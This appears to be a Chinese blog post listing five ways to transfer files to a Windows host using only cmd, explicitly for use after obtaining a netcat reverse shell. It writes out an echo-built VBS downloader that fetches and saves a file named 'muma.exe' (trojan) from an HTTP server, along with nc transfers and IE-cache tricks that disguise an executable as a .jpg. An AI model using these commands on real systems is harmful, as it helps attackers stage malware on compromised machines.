仅通过CMD传送文件

仅通过CMD传送文件

可能某些时候你喜欢只通过cmd来下载文件,抑或某些特定情况只有cmd界面可以使用(nc反弹shell),在一台没安装curl等第三方下载器的windows的cmd似乎不是很方便传送文件,这里记录5种方法(nc,文件共享,写入vbs结合http服务下载,通过ie缓存下载,ftp服务下载)

1.nc

适用于通过nc反弹得到界面的情况

nc -v -l -p 4141 >mubiao.exe

::目的端打开一个4141端口接受传来的数据并写入mubiao.exe

nc -v 目标地址 4141 < C://wenjian.exe

::传送端

结果:速度慢效率低,还可能失败

2.文件共享(局域网环境或者VPN)

传送端新建用户及密码(为啥新建懂得都懂),创建共享文件夹,设置路径权限什么的和普通一样,关键是如何cmd来完成文件共享的接收,命令如下

net use M: 共享路径 密码 /use:用户名

::该命令把共享文件夹映射到M:位置,注:共享路径以//开头,返回结果为命令成功完成就ok了

M:/

::进入M驱动器,dir可以看到想传送的文件,之后就copy就可以了

3. 写入vbs结合http服务下载

vbs简直就是windows的另一shell(原谅我的用词不准确),cmd难以echo>的方法写入exe文件,但是vbs却是可以轻松写入并执行,学好vbs对于网络攻防搞windows确实很重要。

话不多说,具体操作,先把要发送的文件放到http服务器上,自己一键化搭建推荐phpstudy,确保能通过ie访问,可以用start加文件网络地址测试,搭建完毕后就是目标端vbs的写入及执行了,这里提供一个例子

echo Set post=CreateObject("Msxml2.XMLHTTP")>>1.vbs

echo post.Open "GET","http://192.168.44.1/muma.exe(网络路径)">>1.vbs

echo post.Send()>>1.vbs

echo Set aGet = CreateObject("ADODB.Stream")>>1.vbs

echo aGet.Mode = 3 >>1.vbs

echo aGet.Type = 1 >>1.vbs

echo aGet.Open()>>1.vbs

echo aGet.Write(post.responseBody)>>1.vbs

echo aGet.SaveToFile "muma.exe(保存的名字)",2 >>1.vbs

1.vbs

::几个需要注意的地方,数字>>之间要加空格,网络路径和最后保存的文件名不必一致

::写完可以使用type 1.vbs检查

::最后删除可以用del 1.vbs

4. 通过ie缓存下载

缓存是一个非常有意思的东西,对于音乐软件,以前缓存音乐被拷贝出来实在常见,不过现在不付费缓存都缓存不了,还是挺好的

言归正传,ie作为电脑自带的鸡肋浏览器,在本任务中还是能起不少作用。要让ie把文件缓存下来只需要一个合适的后缀名,例如jpg,在http服务器将你要传送的文件命名为xx.jpg

目标端访问文件

start 文件网络路径

::适用于默认浏览器是ie,如果不是则用 ie浏览器绝对路径 文件网络路径

::执行之后即已经被ie缓存

taskkill /f /t /im iexplore.exe

::关闭ie进程避免被占用

cd C:\Documents and Settings\AlunX\Local Settings\Temporary Internet Files

::ie缓存文件夹位置

cd Content.IE5

dir /a

::/a是显示所有文件夹,会看到随机名称的文件夹,找到缓存文件所在位置cd进入

dir /a

::查看缓存文件名,例如xx[1].jpg

copy xx[1].jpg 目的位置

5. ftp服务下载

传送端搭建ftp服务器,目标端访问下载,ftp命令无需多讲

你可能感兴趣的:(仅通过CMD传送文件)